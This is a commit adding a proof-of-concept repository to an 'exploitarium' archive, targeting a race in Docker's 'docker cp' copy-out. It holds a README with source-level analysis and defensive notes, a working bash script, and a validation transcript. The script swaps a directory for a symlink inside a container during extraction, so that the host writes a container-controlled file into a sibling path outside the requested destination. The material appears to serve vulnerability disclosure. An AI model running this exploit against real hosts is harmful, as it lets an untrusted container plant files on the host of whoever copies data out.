Add exploitarium archive
This commit is contained in:
5
docker-cp-copyout-destination-escape/.gitattributes
vendored
Normal file
5
docker-cp-copyout-destination-escape/.gitattributes
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
* text=auto
|
||||
.gitattributes text eol=lf
|
||||
*.sh text eol=lf
|
||||
*.md text eol=lf
|
||||
*.txt text eol=lf
|
||||
4
docker-cp-copyout-destination-escape/.gitignore
vendored
Normal file
4
docker-cp-copyout-destination-escape/.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
*.tmp
|
||||
*.log
|
||||
docker-cp.stdout
|
||||
docker-cp.stderr
|
||||
109
docker-cp-copyout-destination-escape/README.md
Normal file
109
docker-cp-copyout-destination-escape/README.md
Normal file
@@ -0,0 +1,109 @@
|
||||
# Docker cp copy-out destination escape
|
||||
|
||||
This repository contains a minimal proof of concept for a `docker cp` copy-out path issue validated on Docker Engine 29.6.0.
|
||||
|
||||
The demonstrated behavior is:
|
||||
|
||||
> A process inside a running container can race a host-initiated `docker cp <container>:/tmp/src <host-destination>` operation so that the copy writes a container-controlled file into a sibling host path outside the requested destination.
|
||||
|
||||
The PoC uses `/tmp/.../dst` as the requested host destination and causes Docker's copy-out extraction to create `/tmp/.../dst2/marker`.
|
||||
|
||||
## What this is
|
||||
|
||||
- A host/operator-initiated `docker cp` copy-out destination escape.
|
||||
- A container-controlled file write outside the requested host destination directory.
|
||||
- A race against Docker's archive creation and local archive extraction behavior.
|
||||
- Validated locally on Docker Client/Server 29.6.0, API 1.55, on June 23, 2026.
|
||||
|
||||
## What this is not
|
||||
|
||||
- Not a no-interaction container escape.
|
||||
- Not a default runtime breakout from an idle container.
|
||||
- Not a Docker socket or daemon API exposure.
|
||||
- Not a kernel memory-corruption exploit.
|
||||
- Not a demonstrated arbitrary host-root file write in every configuration.
|
||||
- Not a claim that the PoC reaches every possible host path.
|
||||
|
||||
The host user who runs `docker cp` performs the extraction. The practical impact depends on who runs that command and where they copy container data.
|
||||
|
||||
## Preconditions
|
||||
|
||||
- The attacker controls files and processes inside a running Linux container.
|
||||
- A host user runs `docker cp` from the attacker-controlled container to a host filesystem destination.
|
||||
- The destination has a sibling path whose name has the requested destination as a raw string prefix. The PoC uses `dst` and `dst2`.
|
||||
- The race wins while Docker is producing and extracting the copy-out tar stream.
|
||||
|
||||
The PoC widens the race by placing many padding files before the raced path.
|
||||
|
||||
## Reproduction
|
||||
|
||||
Run on a host that has Docker available:
|
||||
|
||||
```bash
|
||||
chmod +x poc.sh
|
||||
HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh
|
||||
```
|
||||
|
||||
Successful output includes:
|
||||
|
||||
```text
|
||||
success=yes
|
||||
requested_destination=/tmp/docker-cp-copyout-repro/dst
|
||||
outside_marker_path=/tmp/docker-cp-copyout-repro/dst2/marker
|
||||
outside_marker_value=container-controlled-host-marker
|
||||
```
|
||||
|
||||
The requested destination is `.../dst`. The marker is written under the sibling `.../dst2`.
|
||||
|
||||
## Fresh validation
|
||||
|
||||
The packaged PoC was replayed successfully against Docker Client/Server 29.6.0:
|
||||
|
||||
```text
|
||||
Client=29.6.0 Server=29.6.0 API=1.55
|
||||
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
|
||||
success=yes
|
||||
requested_destination=/var/tmp/docker-cp-copyout-github/dst
|
||||
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
|
||||
outside_marker_value=container-controlled-host-marker
|
||||
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
|
||||
```
|
||||
|
||||
The validation transcript is also stored in `validation/2026-06-23-docker-29.6.0.txt`.
|
||||
|
||||
## Source-level notes
|
||||
|
||||
In Docker CLI 29.6.0, `cli/command/container/cp.go` resolves the host destination, asks the daemon for a tar stream with `CopyFromContainer`, then calls `archive.CopyTo` to extract that stream locally (`cp.go:257-338`).
|
||||
|
||||
On the daemon side, `daemon/archive_unix.go` creates an archive of the requested container path by opening the container filesystem and starting a `go-archive` tarballer (`archive_unix.go:40-92`). The tarballer walks the source tree with `filepath.WalkDir` and later adds the current path to the tar stream (`vendor/github.com/moby/go-archive/archive.go:693-794`). If a container process changes a directory entry after the walk has observed it but before the tar entry is added and recursed, the produced tar stream can contain a symlink at that path and then entries below the same logical path.
|
||||
|
||||
On the extraction side, `archive.CopyTo` prepares the destination and calls `Untar` (`vendor/github.com/moby/go-archive/copy.go:418-437`). During symlink extraction, the target is constructed with `filepath.Join(filepath.Dir(path), hdr.Linkname)` and checked with `strings.HasPrefix(targetPath, extractDir)` (`archive.go:480-490`). A path such as:
|
||||
|
||||
```text
|
||||
extractDir=/tmp/docker-cp-copyout-repro/dst
|
||||
targetPath=/tmp/docker-cp-copyout-repro/dst2
|
||||
```
|
||||
|
||||
passes that raw prefix check even though `dst2` is outside `dst`. Later regular-file extraction opens the path normally (`archive.go:435-446`), so entries beneath the symlink are written through it into the sibling path.
|
||||
|
||||
Docker's container path helper also documents the general time-of-check/time-of-use caveat for scoped container paths: the returned path remains scoped only if no path component changes between resolving and using it (`daemon/container/container.go:359-363`). The PoC exercises that kind of race during copy-out archive production and combines it with the local extraction prefix issue.
|
||||
|
||||
## Cleanup
|
||||
|
||||
The PoC removes its disposable container on exit. Host output remains under `HOST_BASE` so the result can be inspected:
|
||||
|
||||
```bash
|
||||
rm -rf /tmp/docker-cp-copyout-repro
|
||||
```
|
||||
|
||||
## Defensive notes
|
||||
|
||||
Robust extraction should not rely on raw string-prefix checks for containment. A path-boundary check is better than `strings.HasPrefix`, but still does not fully address archive extraction races through symlinks. The safer design is descriptor-rooted extraction that opens path components relative to a trusted directory file descriptor and avoids following attacker-created symlinks for subsequent entries unless the target is proven to remain inside the extraction root.
|
||||
|
||||
Operationally, avoid running `docker cp` from containers whose contents are controlled by an untrusted party. Prefer copying from stopped containers or from immutable snapshots when the source is untrusted.
|
||||
96
docker-cp-copyout-destination-escape/poc.sh
Normal file
96
docker-cp-copyout-destination-escape/poc.sh
Normal file
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
name="docker-cp-copyout-poc-$$"
|
||||
host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}"
|
||||
host_dst="${host_base}/dst"
|
||||
host_out="${host_base}/dst2"
|
||||
attempt_log="${host_base}/attempts.log"
|
||||
stdout_log="${host_base}/docker-cp.stdout"
|
||||
stderr_log="${host_base}/docker-cp.stderr"
|
||||
|
||||
cleanup() {
|
||||
docker rm -f "$name" >/dev/null 2>&1 || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
rm -rf "$host_base"
|
||||
mkdir -p "$host_dst" "$host_out"
|
||||
|
||||
docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null
|
||||
docker exec "$name" sh -lc '
|
||||
set -e
|
||||
rm -rf /tmp/src /dst2
|
||||
mkdir -p /tmp/src/dir /dst2
|
||||
printf "container-controlled-host-marker\n" > /dst2/marker
|
||||
i=0
|
||||
while [ "$i" -lt 12000 ]; do
|
||||
printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")"
|
||||
i=$((i+1))
|
||||
done
|
||||
mkdir -p /tmp/src/dir/zzlink
|
||||
'
|
||||
|
||||
try_delay() {
|
||||
local delay="$1"
|
||||
rm -rf "$host_dst" "$host_out"
|
||||
mkdir -p "$host_dst" "$host_out"
|
||||
: > "$stdout_log"
|
||||
: > "$stderr_log"
|
||||
docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink'
|
||||
docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done"
|
||||
set +e
|
||||
docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log"
|
||||
local cp_status=$?
|
||||
set -e
|
||||
local outside="absent"
|
||||
if [ -f "$host_out/marker" ]; then
|
||||
outside="present"
|
||||
fi
|
||||
local link="absent"
|
||||
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
|
||||
if [ -L "$candidate" ]; then
|
||||
link="$(readlink "$candidate")"
|
||||
break
|
||||
elif [ -d "$candidate" ]; then
|
||||
link="directory"
|
||||
fi
|
||||
done
|
||||
printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log"
|
||||
[ "$outside" = "present" ]
|
||||
}
|
||||
|
||||
delays=(
|
||||
0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550
|
||||
0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500
|
||||
)
|
||||
|
||||
success="no"
|
||||
for delay in "${delays[@]}"; do
|
||||
if try_delay "$delay"; then
|
||||
success="yes"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
echo "success=${success}"
|
||||
echo "host_base=${host_base}"
|
||||
echo "requested_destination=${host_dst}"
|
||||
echo "outside_marker_path=${host_out}/marker"
|
||||
if [ "$success" = "yes" ]; then
|
||||
echo "outside_marker_value=$(cat "$host_out/marker")"
|
||||
for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
|
||||
if [ -L "$candidate" ]; then
|
||||
echo "observed_symlink=${candidate} -> $(readlink "$candidate")"
|
||||
break
|
||||
fi
|
||||
done
|
||||
echo "docker_cp_stdout=${stdout_log}"
|
||||
echo "docker_cp_stderr=${stderr_log}"
|
||||
else
|
||||
echo "attempt_log=${attempt_log}"
|
||||
echo "docker_cp_stderr_tail_start"
|
||||
tail -n 20 "$stderr_log" || true
|
||||
echo "docker_cp_stderr_tail_end"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,44 @@
|
||||
Client: Docker Engine - Community
|
||||
Version: 29.6.0
|
||||
API version: 1.55
|
||||
Go version: go1.26.4
|
||||
Git commit: fb59821
|
||||
Built: Thu Jun 18 19:57:31 2026
|
||||
OS/Arch: linux/amd64
|
||||
Context: default
|
||||
|
||||
Server: Docker Engine - Community
|
||||
Engine:
|
||||
Version: 29.6.0
|
||||
API version: 1.55 (minimum version 1.40)
|
||||
Go version: go1.26.4
|
||||
Git commit: 70eaf5e
|
||||
Built: Thu Jun 18 19:57:31 2026
|
||||
OS/Arch: linux/amd64
|
||||
Experimental: false
|
||||
containerd:
|
||||
Version: v2.2.5
|
||||
GitCommit: e53c7c1516c3b2bff98eb76f1f4117477e6f4e66
|
||||
runc:
|
||||
Version: 1.3.6
|
||||
GitCommit: v1.3.6-0-g491b69ba
|
||||
docker-init:
|
||||
Version: 0.19.0
|
||||
GitCommit: de40ad0
|
||||
|
||||
--- poc replay ---
|
||||
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2
|
||||
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2
|
||||
success=yes
|
||||
host_base=/var/tmp/docker-cp-copyout-github
|
||||
requested_destination=/var/tmp/docker-cp-copyout-github/dst
|
||||
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
|
||||
outside_marker_value=container-controlled-host-marker
|
||||
observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2
|
||||
docker_cp_stdout=/var/tmp/docker-cp-copyout-github/docker-cp.stdout
|
||||
docker_cp_stderr=/var/tmp/docker-cp-copyout-github/docker-cp.stderr
|
||||
Reference in New Issue
Block a user